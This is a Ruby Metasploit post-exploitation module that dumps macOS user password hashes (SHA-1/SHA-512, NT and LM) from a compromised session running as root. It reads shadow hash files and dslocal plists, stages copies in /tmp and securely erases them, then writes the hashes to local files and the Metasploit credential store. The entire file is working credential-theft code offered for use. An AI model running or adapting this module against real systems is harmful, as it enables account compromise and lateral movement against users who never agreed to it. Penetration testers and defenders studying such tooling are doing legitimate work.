## # $Id$ ## ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::File include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'OS X Gather Mac OS X Password Hash Collector', 'Description' => %q{ This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ','hammackj '], 'Version' => '$Revision$', 'Platform' => [ 'osx' ], 'SessionTypes' => [ "shell" ] )) end # Run Method for when run command is issued def run case session.type when /meterpreter/ host = session.sys.config.sysinfo["Computer"] when /shell/ host = session.shell_command_token("hostname").chomp end print_status("Running module against #{host}") running_root = check_root if running_root print_status("This session is running as root!") end ver_num = get_ver log_folder = log_folder_create() if running_root print_status("Saving files with hashes in #{log_folder} and Database") dump_hash(log_folder,ver_num) else print_error("Insufficient Privileges you must be running as root to dump the hashes") end end #parse the dslocal plist in lion def read_ds_xml_plist(plist_content) require "rexml/document" doc = REXML::Document.new(plist_content) keys = [] doc.elements.each("plist/dict/key") do |element| keys << element.text end fields = {} i = 0 doc.elements.each("plist/dict/array") do |element| data = [] fields[keys[i]] = data element.each_element("*") do |thing| data_set = thing.text if data_set data << data_set.gsub("\n\t\t","") else data << data_set end end i+=1 end return fields end # Function for creating the folder for gathered data def log_folder_create(log_path = nil) #Get hostname case session.type when /meterpreter/ host = Rex::FileUtils.clean_path(session.sys.config.sysinfo["Computer"]) when /shell/ host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp) end # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo ) else logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo ) end # Create the log directory ::FileUtils.mkdir_p(logs) return logs end # Checks if running as root on the target def check_root # Get only the account ID id = cmd_exec("/usr/bin/id","-ru").chomp if id == "0" return true else return false end end # Enumerate the OS Version def get_ver # Get the OS Version osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp return osx_ver_num end # Dump SHA1 Hashes used by OSX, must be root to get the Hashes def dump_hash(log_folder,ver_num) print_status("Dumping Hashes") users = [] nt_hash = nil host,port = session.session_host, session.session_port # Path to files with hashes nt_file = ::File.join(log_folder,"nt_hash.txt") lm_file = ::File.join(log_folder,"lm_hash.txt") sha1_file = ::File.join(log_folder,"sha1_hash.txt") # Check if system is Lion if not continue if ver_num =~ /10\.(7)/ hash_decoded = "" # get list of profiles present in the box profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n") if profiles profiles.each do |p| # Skip none user profiles next if p =~ /^_/ next if p =~ /^daemon|root|nobody/ # Turn profile plist in to XML format cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}") file = cmd_exec("cat /tmp/#{p.chomp}") # Clean up using secure delete overwriting and zeroing blocks cmd_exec("/usr/bin/srm -m -z /tmp/#{p.chomp}") # Process XML Plist into a usable hash plist_values = read_ds_xml_plist(file) # Extract the shadow hash data, decode it and format it plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| hash_decoded << sprintf("%02X", b) end user = plist_values['name'] # Check if NT HASH is present if hash_decoded =~ /4F1010/ nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/) end # Carve out the SHA512 Hash, the first 4 bytes is the salt sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] print_status("SHA512:#{user}:#{sha512}") file_local_write(sha1_file,"#{user}:#{sha512}") report_auth_info( :host => host, :port => 0, :sname => 'sha512', :user => user, :pass => sha512, :active => false ) # Reset hash value sha512 = "" if nt_hash print_status("NT:#{user}:#{nt_hash}") file_local_write(nt_file,"#{user}:#{nt_hash}") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, :pass => nt_hash, :active => true ) # Reset hash value nt_hash = nil end # Reset hash value hash_decoded = "" end end # If system was lion and it was processed nothing more to do return end users_folder = cmd_exec("/bin/ls","/Users") users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end # Process each user users.each do |user| if ver_num =~ /10\.(6|5)/ guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp elsif ver_num =~ /10\.(4|3)/ guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp end # Extract the hashes sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp # Check that we have the hashes and save them if sha1_hash !~ /00000000000000000000000000000000/ print_status("SHA1:#{user}:#{sha1_hash}") file_local_write(sha1_file,"#{user}:#{sha1_hash}") report_auth_info( :host => host, :port => 0, :sname => 'sha1', :user => user, :pass => sha1_hash, :active => false ) end if nt_hash !~ /000000000000000/ print_status("NT:#{user}:#{nt_hash}") file_local_write(nt_file,"#{user}:#{nt_hash}") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, :pass => nt_hash, :active => true ) end if lm_hash !~ /0000000000000/ print_status("LM:#{user}:#{lm_hash}") file_local_write(lm_file,"#{user}:#{lm_hash}") report_auth_info( :host => host, :port => 445, :sname => 'smb', :user => user, :pass => lm_hash, :active => true ) end end end end